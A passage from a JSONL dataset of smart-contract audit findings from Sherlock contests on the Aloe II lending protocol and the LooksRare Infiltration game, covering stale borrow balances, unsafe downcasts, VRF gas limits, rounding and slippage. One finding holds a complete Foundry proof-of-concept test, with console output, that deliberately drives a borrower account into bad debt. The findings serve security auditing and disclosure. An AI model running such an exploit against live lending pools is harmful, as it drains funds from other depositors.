cannot exceed the current maximum loan to value (LTV) ratio. \n\nSay the LTV is 90%, meaning for $90 in loan, there must be at least $100 in collateral.\n\nIf the interest is not accrued and the actual loan is now $91, then the real loan to value ratio has increased to 91%. This means that the `Borrower` should have to pay back some of the loan to pass the health check. \n\nThe maximum duration for which interest is not accrued is limited to 1 week which limits the amount of interest that is not accounted for. \n\nFor `Borrowers` that have taken out large loans though this is not negligible. For a loan of $10 million and a yearly interest rate of 3.7% (~0.07% per week), this would be a difference of $7000 in interest. \n\nAs described in the Summary, using stale liabilities also impacts liquidations and can lead to bad debt as there is no incentive to liquidate `Borrowers` if all the `ante` is used up.\n\n## Impact\nThe `Borrower` can have a higher loan to value ratio than it should be able to due to calculating its liabilities without accruing interest. \n\nLTV is based on current market conditions and if the real LTV is higher (i.e. the actual debt is higher) the collateral might not be sufficient to cover the loan in cases of quick market movements. \n\nWith regards to liquidations, using stale liabilities can lead to bad debt.\n\n## Code Snippet\nhttps://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Borrower.sol#L299-L327\n\nhttps://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/libraries/BalanceSheet.sol#L48-L80\n\n\n## Tool used\nManual Review\n\n## Recommendation\nThe recommendation is to change the `Borrower._getLiabilities` function to call `LENDER.borrowBalance` instead of `LENDER.borrowBalanceStored`: \n\n```diff\nfunction _getLiabilities() private view returns (uint256 amount0, uint256 amount1) {\n amount0 = LENDER0.borrowBalance(address(this));\n amount1 = LENDER1.borrowBalance(address(this));\n}\n```","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//001-H/051.md"}} +{"title":"`Borrower`'s `modify`, `liquidate` and `warn` functions use stored (outdated) account liabilities which makes it possible for the user to intentionally put him into bad debt in 1 transaction","severity":"major","body":"Loud Cloud Salamander\n\nhigh\n\n# `Borrower`'s `modify`, `liquidate` and `warn` functions use stored (outdated) account liabilities which makes it possible for the user to intentionally put him into bad debt in 1 transaction\n## Summary\n\n`Borrower._getLiabilities()` function returns **stored** borrow balance:\n```solidity\nfunction _getLiabilities() private view returns (uint256 amount0, uint256 amount1) {\n amount0 = LENDER0.borrowBalanceStored(address(this));\n amount1 = LENDER1.borrowBalanceStored(address(this));\n}\n```\n\nStored balance is the balance **at the last interest settlement**, which is different (less) than current balance if there were no transactions accuring interest for this lender for some time. This means that this function returns outdated liabilities. For example:\nt=100: borrower1 borrows 10000 USDT\n... no transactions\nt=200: borrower1 borrowBalance = 10000.1 USDT (due to accured interest), but borrowBalanceStored = 10000 USDT (the amount at last interest accural).\n\n`_getLiabilities` function is used by `Borrower`'s `modify`, `liquidate` and `warn` functions, meaning that it works on outdated account borrow balances (liabilities), including health check. This leads to multiple problems, such as:\n1. `warn` and `liquidate` will revert trying to liquidate some accounts which just became unhealthy but were healthy at the last interest accural\n2. `liquidate` will not repay full account borrowBalances\n3. `modify` will allow account to be unhealthy after the actions it performs, if it's healthy using outdated stored borrow balances\n\nThe first 2 problems can be worked around by calling `Lender.accrueInterest` before `warn` or `liquidation`, which will settle interest rate fixing this problem. However, the 3rd issue is a lot more serious and can't be worked around as it allows malicious user to intentionally create bad debt in 1 transaction which will cause loss of funds for the other users.\n\n## Vulnerability Detail\n\nPossible scenario for the intentional creation of bad debt:\n1. Borrow max amount at max leverage + some safety margin so that position is healthy for the next few days, for example borrow 10000 DAI, add margin of 1051 DAI for safety (51 DAI required for MAX_LEVERAGE, 1000 DAI safety margin)\n2. Wait for a long period of market inactivity (such as 1 day).\n3. At this point `borrowBalance` is greater than `borrowBalanceStored` by a value higher than `MAX_LEVERAGE` (example: borrowBalance = 10630 DAI, borrowBalanceStored = 10000 DAI)\n3. Call `modify` and withdraw max possible amount (based on `borrowBalanceStored`), for example, withdraw 1000 DAI (remaining assets = 10051 DAI, which is healthy based on stored balance of 10000 DAI, but in fact this is already a bad debt, because borrow balance is 10630, which is more than remaining assets). This works, because liabilities used are outdated.\n\nAt this point the user is already in bad debt, but due to points 1-2, it's still not liquidatable. After calling `Lender.accrueInterest` the account can be liquidated. This bad debt caused is the funds lost by the other users.\n\nThis scenario is not profitable to the malicious user, but can be modified to make it profitable: the user can deposit large amount to lender before these steps, meaning the inflated interest rate will be accured by user's deposit to lender, but it will not be paid by the user due to bad debt (user will deposit 1051 DAI, withdraw 1000 DAI, and gain some share of accured 630 DAI, for example if he doubles the lender's TVL, he will gain 315 DAI - protocol fees).\n\n## Impact\n\nMalicious user can create bad debt to his account in 1 transaction. Bad debt is the amount not withdrawable from the lender by users who deposited. Since users will know that the lender doesn't have enough assets to pay out to all users, it can cause bank run since first users to withdraw from lender will be able to do so, while those who are the last to withdraw will lose their funds.\n\n## Proof of concept\n\nThe scenario above is demonstrated in the test, create test/Exploit.t.sol:\n```ts\n// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.17;\n\nimport \"forge-std/Test.sol\";\n\nimport {MAX_RATE, DEFAULT_ANTE, DEFAULT_N_SIGMA, LIQUIDATION_INCENTIVE} from \"src/libraries/constants/Constants.sol\";\nimport {Q96} from \"src/libraries/constants/Q.sol\";\nimport {zip} from \"src/libraries/Positions.sol\";\n\nimport \"src/Borrower.sol\";\nimport \"src/Factory.sol\";\nimport \"src/Lender.sol\";\nimport \"src/RateModel.sol\";\n\nimport {FatFactory, VolatilityOracleMock} from \"./Utils.sol\";\n\ncontract RateModelMax is IRateModel {\n uint256 private constant _A = 6.1010463348e20;\n\n uint256 private constant _B = _A / 1e18;\n\n /// @inheritdoc IRateModel\n function getYieldPerSecond(uint256 utilization, address) external pure returns (uint256) {\n unchecked {\n return (utilization < 0.99e18) ? _A / (1e18 - utilization) - _B : MAX_RATE;\n }\n }\n}\n\ncontract ExploitTest is Test, IManager, ILiquidator {\n IUniswapV3Pool constant pool = IUniswapV3Pool(0xC2e9F25Be6257c210d7Adf0D4Cd6E3E881ba25f8);\n ERC20 constant asset0 = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n ERC20 constant asset1 = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n\n Lender immutable lender0;\n Lender immutable lender1;\n Borrower immutable account;\n\n constructor() {\n vm.createSelectFork(vm.rpcUrl(\"mainnet\"));\n vm.rollFork(15_348_451);\n\n Factory factory = new FatFactory(\n address(0),\n address(0),\n VolatilityOracle(address(new VolatilityOracleMock())),\n new RateModelMax()\n );\n\n factory.createMarket(pool);\n (lender0, lender1, ) = factory.getMarket(pool);\n account = factory.createBorrower(pool, address(this), bytes12(0));\n }\n\n function setUp() public {\n // deal to lender and deposit (so that there are assets to borrow)\n deal(address(asset0), address(lender0), 10000e18); // DAI\n deal(address(asset1), address(lender1), 10000e18); // WETH\n lender0.deposit(10000e18, address(12345));\n lender1.deposit(10000e18, address(12345));\n\n deal(address(account), DEFAULT_ANTE + 1);\n }\n\n function test_selfLiquidation() public {\n\n // malicious user borrows at max leverage + some safety margin\n uint256 margin0 = 51e18 + 1000e18;\n uint256 borrows0 = 10000e18;\n\n deal(address(asset0), address(account), margin0);\n\n bytes memory data = abi.encode(Action.BORROW, borrows0, 0);\n account.modify(this, data, (1 << 32));\n\n assertEq(lender0.borrowBalance(address(account)), borrows0);\n assertEq(asset0.balanceOf(address(account)), borrows0 + margin0);\n\n // skip 1 day (without transactions)\n skip(86400);\n\n emit log_named_uint(\"User borrow:\", lender0.borrowBalance(address(account)));\n emit log_named_uint(\"User stored borrow:\", lender0.borrowBalanceStored(address(account)));\n\n // withdraw all the \"extra\" balance putting account into bad debt\n bytes memory data2 = abi.encode(Action.WITHDRAW, 1000e18, 0);\n account.modify(this, data2, (1 << 32));\n\n // account is still not liquidatable (because liquidation also uses stored liabilities)\n vm.expectRevert();\n account.warn((1 << 32));\n\n // make account liquidatable by settling accumulated interest\n lender0.accrueInterest();\n\n // warn account\n account.warn((1 << 32));\n\n // skip warning time\n skip(LIQUIDATION_GRACE_PERIOD);\n lender0.accrueInterest();\n\n // liquidation reverts because it requires asset the account doesn't have to swap\n vm.expectRevert();\n account.liquidate(this, bytes(\"\"), 1, (1 << 32));\n\n emit log_named_uint(\"Before liquidation User borrow:\", lender0.borrowBalance(address(account)));\n emit log_named_uint(\"Before liquidation User stored borrow:\", lender0.borrowBalanceStored(address(account)));\n emit log_named_uint(\"Before liquidation User assets:\", asset0.balanceOf(address(account)));\n\n // liquidate with max strain to avoid revert when trying to swap assets account doesn't have\n account.liquidate(this, bytes(\"\"), type(uint256).max, (1 << 32));\n\n emit log_named_uint(\"Liquidated User borrow:\", lender0.borrowBalance(address(account)));\n emit log_named_uint(\"Liquidated User assets:\", asset0.balanceOf(address(account)));\n }\n\n enum Action {\n WITHDRAW,\n BORROW,\n UNI_DEPOSIT\n }\n\n // IManager\n function callback(bytes calldata data, address, uint208) external returns (uint208 positions) {\n require(msg.sender == address(account));\n\n (Action action, uint256 amount0, uint256 amount1) = abi.decode(data, (Action, uint256, uint256));\n\n if (action == Action.WITHDRAW) {\n account.transfer(amount0, amount1, address(this));\n } else if (action == Action.BORROW) {\n account.borrow(amount0, amount1, msg.sender);\n } else if (action == Action.UNI_DEPOSIT) {\n account.uniswapDeposit(-75600, -75540, 200000000000000000);\n positions = zip([-75600, -75540, 0, 0, 0, 0]);\n }\n }\n\n // ILiquidator\n receive() external payable {}\n\n function swap1For0(bytes calldata data, uint256 actual, uint256 expected0) external {\n /*\n uint256 expected = abi.decode(data, (uint256));\n if (expected == type(uint256).max) {\n Borrower(payable(msg.sender)).liquidate(this, data, 1, (1 << 32));\n }\n assertEq(actual, expected);\n */\n pool.swap(msg.sender, false, -int256(expected0), TickMath.MAX_SQRT_RATIO - 1, bytes(\"\"));\n }\n\n function swap0For1(bytes calldata data, uint256 actual, uint256 expected1) external {\n /*\n uint256 expected = abi.decode(data, (uint256));\n if (expected == type(uint256).max) {\n Borrower(payable(msg.sender)).liquidate(this, data, 1, (1 << 32));\n }\n assertEq(actual, expected);\n */\n pool.swap(msg.sender, true, -int256(expected1), TickMath.MIN_SQRT_RATIO + 1, bytes(\"\"));\n }\n\n // IUniswapV3SwapCallback\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata) external {\n if (amount0Delta > 0) asset0.transfer(msg.sender, uint256(amount0Delta));\n if (amount1Delta > 0) asset1.transfer(msg.sender, uint256(amount1Delta));\n }\n\n // Factory mock\n function getParameters(IUniswapV3Pool) external pure returns (uint248 ante, uint8 nSigma) {\n ante = DEFAULT_ANTE;\n nSigma = DEFAULT_N_SIGMA;\n }\n\n // (helpers)\n function _setInterest(Lender lender, uint256 amount) private {\n bytes32 ID = bytes32(uint256(1));\n uint256 slot1 = uint256(vm.load(address(lender), ID));\n\n uint256 borrowBase = slot1 % (1 << 184);\n uint256 borrowIndex = slot1 >> 184;\n\n uint256 newSlot1 = borrowBase + (((borrowIndex * amount) / 10_000) << 184);\n vm.store(address(lender), ID, bytes32(newSlot1));\n }\n}\n```\n\nExecution console log:\n```solidity\n User borrow:: 10629296791890000000000\n User stored borrow:: 10000000000000000000000\n Before liquidation User borrow:: 10630197795010000000000\n Before liquidation User stored borrow:: 10630197795010000000000\n Before liquidation User assets:: 10051000000000000000000\n Liquidated User borrow:: 579197795010000000001\n Liquidated User assets:: 0\n```\n\nAs can be seen, in the end user debt is 579 DAI with 0 assets.\n\n## Code Snippet\n\n`Borrower._getLiabilities()` returns stored balances:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L527-L530\n\n`borrowBalanceStored` uses `borrowIndex` (which is index at last accural):\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L226-L232\n\nFor comparision, `borrowBalance` uses `_previewInterest` to get current borrow balance:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L216-L223\n\n`Borrower.warn` uses `_getLiabilities`:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L166\n\n`liquidate` uses `_getLiabilities`:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L211\n\n`modify` also uses `_getLiabilities`:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L314\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider using `borrowBalance` instead of `borrowBalanceStored` in `_getLiabilities()`.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//001-H/041-best.md"}} +{"title":"Borrower will get liquidated for small amount due to inability of repayment through modify() function","severity":"major","body":"Rare Violet Caribou\n\nhigh\n\n# Borrower will get liquidated for small amount due to inability of repayment through modify() function\n## Summary\nA borrower uses modify callback to clear the warnings and repay the borrowed amount but they will not be able to do so due to wrong accounting implementation in `Ledger.sol's` `borrowBalanceStored()` function\n## Vulnerability Detail\n\nThe modify function is accounting for the `liabilities0` and `liabilities1` from the `_getLiabilities()` function \n```solidity\n (uint256 liabilities0, uint256 liabilities1) = _getLiabilities();\n```\n```solidity\nfunction _getLiabilities() private view returns (uint256 amount0, uint256 amount1) {\n amount0 = LENDER0.borrowBalanceStored(address(this));\n amount1 = LENDER1.borrowBalanceStored(address(this));\n }\n```\nfurther the `amount0` and `amount1` is taken from the `lender.sol` contract's `borrowBalanceStored()` function which has the flaw in accounting\n```solidity\nfunction borrowBalanceStored(address account) external view returns (uint256) {\n uint256 b = borrows[account];\n\n unchecked {\n return b > 1 ? ((b - 1) * borrowIndex).unsafeDivUp(BORROWS_SCALER) : 0; \n }\n }\n```\nthe accounting flaw is in the return statement \n`return b > 1 ? ((b - 1) * borrowIndex).unsafeDivUp(BORROWS_SCALER) : 0;`\nIn case where `b=1` the value of b will be 0 and so the function `_getLiabilities()` will return the values of `liabilities0` and `liabilities1` as 0 and further affect the logic for the `modify()` fucntion since the condition `if (liabilities0 > 0 || liabilities1 > 0)` will never fulfill.\n## Impact\nBorrowers will not be able to `repay` from modify callback function\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L314\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L527-L530\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L226-L232\n## Tool used\n\nManual Review\n\n## Recommendation\nImplement correct accounting logic in `borrowBalanceStored()` function","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//001-H/025.md"}} +{"title":"Unsafe downcast","severity":"info","body":"Odd Berry Rabbit\n\nmedium\n\n# Unsafe downcast\n## Summary\nWhen a type is downcast to a smaller type, the higher order bits are truncated\n\n## Vulnerability Detail\nWhen a type is downcast to a smaller type, the higher order bits are truncated, effectively applying a modulo to the original value. Without any other checks, this wrapping will lead to unexpected behavior and bugs.\n\nSolidity does not check if it is safe to cast an integer to a smaller one. Unless some business logic ensures that the downcasting is safe, a library like SafeCast should be used.\n\n\n## Impact\nWhen a type is downcast to a smaller type, the higher order bits are truncated, effectively applying a modulo to the original value. Without any other checks, this wrapping will lead to unexpected behavior and bugs.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol?plain=1#L875\n```solidity\n healingAgentIds[currentHealingAgentIdsCount + i] = uint16(agentId);\n```\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol?plain=1#L879\n```solidity\n healingAgentIds[0] = uint16(newHealingAgentIdsCount);\n```\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol?plain=1#L512\n```solidity\n gameInfo.activeAgents = uint16(numberOfAgents);\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nYou can use the [SafeCast](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeCast.sol) library to prevent Unsafe downcast.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/144.md"}} +{"title":"Gas Consumption Vulnerability in Infiltration's `fulfillRandomWords`","severity":"info","body":"Teeny Cedar Ram\n\nmedium\n\n# Gas Consumption Vulnerability in Infiltration's `fulfillRandomWords`\n## Summary\nThe `fulfillRandomWords` method within the Infiltration contract calls an internal function named `_healRequestFulfilled`. This internal function performs several operations, including looping over an array and making an external call to `_executeERC20DirectTransfer`. This design may result in a significant gas consumption issue, potentially causing the `fulfillRandomWords` method to revert due to out-of-gas errors. This is particularly concerning for VRF (Verifiable Random Function) integration and is listed in the VRF Security Considerations documentation.\n\n## Vulnerability Detail\nThe root cause of the vulnerability is that the `_healRequestFulfilled` function, which is called by `fulfillRandomWords`, involves multiple gas-intensive operations, including an external call to `_executeERC20DirectTransfer`. The gas consumed by this operation may exceed the available gas limit for the transaction, leading to a revert.\n\n## Impact\nThe impact of this vulnerability is significant, as it can lead to failed transaction execution due to out-of-gas errors. In the context of VRF integration, this is problematic, as it can add additional gas cost overhead and potentially disrupt the normal flow of operations.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/tree/main/contracts-infiltration/contracts/Infiltration.sol#L1096\n\n\n## Tool used\nManual Review\n\n## Recommendation\nTo address this gas consumption vulnerability, it is recommended to reconsider the design of the `_healRequestFulfilled` function by caching the randomness","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/143.md"}} +{"title":"Order of operations and solidity rounding down affects the correct value","severity":"info","body":"Old Golden Antelope\n\nhigh\n\n# Order of operations and solidity rounding down affects the correct value\n## Summary\nLoss of precision due to divide-before-multiply operations and potential rounding issues can result in inaccurate calculations of `totalEscapeValue`, `rewards` distribution, `heal` costs... leading to unintended gameplay outcomes.\n\n## Vulnerability Detail\n\nSeveral operations in the contract perform division before multiplication, which can cause a loss of precision due to rounding down in integer division. This is especially critical when dealing with financial calculations or gameplay logic that determines the distribution of rewards or costs within the game, as it may lead to inequitable outcomes or even game imbalance.\n\n## Impact\n\nThe impact of these issues ranges from minor discrepancies in distributed rewards to significant financial loss or unexpected gameplay advantages. It may result in unpredictable and potentially unfair scenarios that could erode user trust in the platform.\n\n## Code Snippet\n\nDivide before multiply + posible rounding down issues\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L740: \n```solidity\nuint256 totalEscapeValue = prizePool / currentRoundAgentsAlive;\nuint256 rewardForPlayer = (totalEscapeValue * _escapeMultiplier(currentRoundAgentsAlive)) /\n ONE_HUNDRED_PERCENT_IN_BASIS_POINTS;\n```\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L747: \n```solidity\nuint256 rewardForPlayer = (totalEscapeValue * _escapeMultiplier(currentRoundAgentsAlive)) /\nONE_HUNDRED_PERCENT_IN_BASIS_POINTS; _escapeRewardSplitForSecondaryPrizePool(currentRoundAgentsAlive)) / ONE_HUNDRED_PERCENT_IN_BASIS_POINTS;\n```\n\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L979:\n```solidity\nuint256 totalEscapeValue = prizePool / currentRoundAgentsAlive;\nuint256 rewardForPlayer = (totalEscapeValue * _escapeMultiplier(currentRoundAgentsAlive)) /\n ONE_HUNDRED_PERCENT_IN_BASIS_POINTS;\n```\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L984-L985\n```solidity\nuint256 rewardForPlayer = (totalEscapeValue * _escapeMultiplier(currentRoundAgentsAlive)) /\n ONE_HUNDRED_PERCENT_IN_BASIS_POINTS;\nuint256 rewardToSecondaryPrizePool = (totalEscapeValue.unsafeSubtract(rewardForPlayer) *\n _escapeRewardSplitForSecondaryPrizePool(currentRoundAgentsAlive)) / ONE_HUNDRED_PERCENT_IN_BASIS_POINTS;\n```\n\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L1627-L1632: \nmultiplier =\n ((80 *\n ONE_HUNDRED_PERCENT_IN_BASIS_POINTS_SQUARED -\n 50 *\n (((agentsRemaining * ONE_HUNDRED_PERCENT_IN_BASIS_POINTS) / totalSupply()) ** 2)) * 100) /\n ONE_HUNDRED_PERCENT_IN_BASIS_POINTS_SQUARED;\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L1641-L1646: \n split =\n ((9_980 * ONE_HUNDRED_PERCENT_IN_BASIS_POINTS) /\n 99 -\n (((agentsRemaining * ONE_HUNDRED_PERCENT_IN_BASIS_POINTS) / totalSupply()) * uint256(8_000)) /\n 99) /\n 100;\n\n\n\n\nAdditionally to this divide before multiply loss of precisions, other rounding issues can be found at:\n\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L1198: \nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L1358: \nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L1423: \n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nReorder the operations and add checks to avoid bad scenarios / round up when needed to avoid the loss of precision","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/142.md"}} +{"title":"`sqrtPriceLimitX96` and `deadline` are not defined in InfiltrationPeriphery.sol","severity":"info","body":"Soft Tortilla Fox\n\nfalse\n\n# `sqrtPriceLimitX96` and `deadline` are not defined in InfiltrationPeriphery.sol\n## Vulnerability Detail\nIn heal function, User's ETH is swapped to fixed quantity of $LOOKS. However, Use a sqrtPriceLimitX96 value of 0 means any slippage can be accepted.\n## Impact\nIf the user provides too much ETH, MEV robots will receive the portion exceeding the current price. If the user provides too little ETH, the transaction is likely to fail due to $LOOKS price fluctuations.\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\nsqrtPriceLimitX96 should be decided by user","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/141.md"}} +{"title":"fulfillRandomWords - may be reverted due to a hardcoded callbackGasLimit","severity":"info","body":"Polite Rose Beaver\n\nmedium\n\n# fulfillRandomWords - may be reverted due to a hardcoded callbackGasLimit\n## Summary\n\nThe gas consumption can be changed by deployment parameter, but the `callbackGasLimit` is hardcoded. \n\nThis can cause `fulfillRandomWords` to revert if you change the deployment parameters.\n\n## Vulnerability Detail\n\nThe `fulfillRandomWords` function receives a random value and selects the agents to be healed, draws new wounded agents, and handles the agents that will die in this round.\n\nThe amount of gas `fulfillRandomWords` uses is depending on `MAX_SUPPLY` and `AGENTS_TO_WOUND_PER_ROUND_IN_BASIS_POINTS`. As `MAX_SUPPLY` or `AGENTS_TO_WOUND_PER_ROUND_IN_BASIS_POINTS` increases, more agents are wounded. These are not constant, but rather values that you set as parameters at deployment time.\n\nCurrently, when calling `VRF_COORDINATOR.requestRandomWords`, the `callbackGasLimit` is hardcoded as 2_500_000.\n\n```solidity\nfunction _requestForRandomness() private {\n uint256 requestId = VRF_COORDINATOR.requestRandomWords({\n keyHash: KEY_HASH,\n subId: SUBSCRIPTION_ID,\n minimumRequestConfirmations: uint16(3),\n@> callbackGasLimit: uint32(2_500_000),\n numWords: uint32(1)\n });\n```\n\nBy this code, you can check gas consumption of `fulfillRandomWords` with maximum number of users requesting heal(30). It is approximately 2_200_000. You can add it to the Infiltration.fulfillRandomWords.t.sol file and run it.\n\n```solidity\nfunction test_gas() public {\n\n _startGameAndDrawOneRound();\n\n uint256[] memory randomWords = _randomWords();\n IInfiltration.HealResult[] memory healResults = new IInfiltration.HealResult[](30);\n\n for (uint256 roundId = 2; roundId <= ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD + 1; roundId++) {\n \n // request heal\n if(roundId == ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD + 1){\n uint256 healed;\n for(uint256 i = 2; healed < 30; i++){\n (uint256[] memory woundedAgentIdsFromRound, ) = infiltration.getRoundInfo({\n roundId: uint40(roundId - i)\n });\n\n for(uint256 j; j < woundedAgentIdsFromRound.length; j ++){\n uint256[] memory toHeal = new uint256[](1);\n\n toHeal[0] = woundedAgentIdsFromRound[j];\n healResults[healed].agentId = woundedAgentIdsFromRound[j];\n\n _heal({roundId: roundId, woundedAgentIds: toHeal});\n\n healed++;\n\n if (healed >= 30){\n break;\n }\n }\n }\n }\n\n _startNewRound();\n\n // Just so that each round has different random words\n randomWords[0] += roundId;\n\n if (roundId == ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD + 1) {\n\n for(uint256 i; i < healResults.length; i++){\n if(healResults[i].agentId == 7249 || healResults[i].agentId == 5037){\n healResults[i].outcome = IInfiltration.HealOutcome.Killed;\n }\n }\n expectEmitCheckAll();\n emit HealRequestFulfilled(roundId, healResults);\n\n (uint256[] memory woundedAgentIdsFromRound, ) = infiltration.getRoundInfo({\n roundId: uint40(roundId - ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD)\n });\n assertEq(woundedAgentIdsFromRound.length, 20);\n uint256[] memory woundedAgentIds = new uint256[](woundedAgentIdsFromRound.length);\n for (uint256 i; i < woundedAgentIdsFromRound.length; i++) {\n woundedAgentIds[i] = woundedAgentIdsFromRound[i];\n }\n \n expectEmitCheckAll();\n emit Killed(roundId - ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD, woundedAgentIds);\n }\n expectEmitCheckAll();\n emit RoundStarted(roundId + 1);\n\n uint256 requestId = _computeVrfRequestId(uint64(roundId));\n vm.prank(VRF_COORDINATOR);\n VRFConsumerBaseV2(address(infiltration)).rawFulfillRandomWords(requestId, randomWords);\n }\n}\n```\n\nThis test uses MAX_SUPPLY = 10000, AGENTS_TO_WOUND_PER_ROUND_IN_BASE_POINTS=20. \n\nSo this means that hardcoded `callbackGasLimit` , 2_500_000 is calculated based on MAX_SUPPLY = 10000, AGENTS_TO_WOUND_PER_ROUND_IN_BASE_POINTS=20.\n\n```markdown\n| contracts/Infiltration.sol:Infiltration contract | | | | | |\n|--------------------------------------------------|-----------------|--------|--------|---------|---------|\n| Deployment Cost | Deployment Size | | | | |\n| 5036371 | 27886 | | | | |\n| Function Name | min | avg | median | max | # calls |\n| rawFulfillRandomWords | 496948 | 545114 | 520390 | 2180294 | 49 |\n\n```\n\nHowever, given that `MAX_SUPPLY` and `AGENTS_TO_WOUND_PER_ROUND_IN_BASIS_POINTS` are implemented to be changeable on deployment, so gasLimit should be computed accordingly.\n\nIf `fulfillRandomWords` is reverted due to low gas, chainlink integration can break, which can cause the protocol to stop.\n\n## Impact\n\nThe `fulfillRandomWords` callback function may be reverted, which may break chainlink integration.\n\n## Code Snippet\n\n[https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1298](https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1298)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nInstead of hardcoding the gasLimit, calculate it based on the variable and set it as immutable variable. Or, following [chainlink's security recommendations](https://docs.chain.link/vrf/v2/security#fulfillrandomwords-must-not-revert), the callback only stores the random value, and any complex processing is handled by calling the function after the callback ends.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/137.md"}} +{"title":"fulfillRandomWords() could revert under certain circumstances","severity":"info","body":"Able Seafoam Mongoose\n\nhigh\n\n# fulfillRandomWords() could revert under certain circumstances\n## Summary\n\nAccording the documentation of Chainlink VRF the max gas limit for the VRF coordinator is 2 500 000. This means that the max gas that fulfillRandomWords() can use is 2 500 000 and if it is exceeded the function would revert. I have constructed a proof of concept that demonstrates it is possible to have a scenario in which fulfillRandomWords reverts and thereby disrupts the protocol's work.\n\n## Vulnerability Detail\n\nCrucial part of my POC is the variable AGENTS_TO_WOUND_PER_ROUND_IN_BASIS_POINTS. I communicated with the protocol's team that they plan to set it to 20 initially but it is possible to have a different 